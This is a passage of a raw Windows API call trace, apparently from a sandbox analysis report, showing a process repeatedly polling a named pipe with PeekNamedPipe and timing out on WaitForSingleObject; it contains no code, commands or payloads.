WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.796] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.796] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.827] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.827] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.858] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.858] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.939] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.939] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.968] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.968] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.999] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.999] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.030] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.030] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.061] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.095] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.095] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.124] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.124] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.155] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.186] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.186] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.218] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.218] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.266] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.266] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.295] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.295] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.326] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.326] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.387] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.387] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.404] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.436] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.467] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.498] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.529] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.529] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.569] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.569] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.591] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.592] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.623] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.654] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.654] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.685] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.685] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.716] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.716] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.776] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.776] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.794] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.794] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.825] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.826] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.857] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.857] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.888] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.926] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.926] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.950] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.950] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.981] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.981] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.013] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.013] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.050] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.050] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.075] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.075] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.113] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.113] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.180] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.180] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.200] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.307] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.307] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.327] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.327] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.391] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.391] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.452] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.452] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.481] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.481] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.512] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.512] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.543] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.543] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.599] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.621] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.621] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.653] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.654] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.683] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.684] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.718] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.718] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.747] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.798] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.799] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.824] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.824] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.855] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.855] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.897] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.897] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.917] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.918] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.949] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.949] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.980] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.980] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.011] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.011] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.051] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.051] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.091] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.120] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.120] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.152] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.152] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.183] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.183] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.214] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, 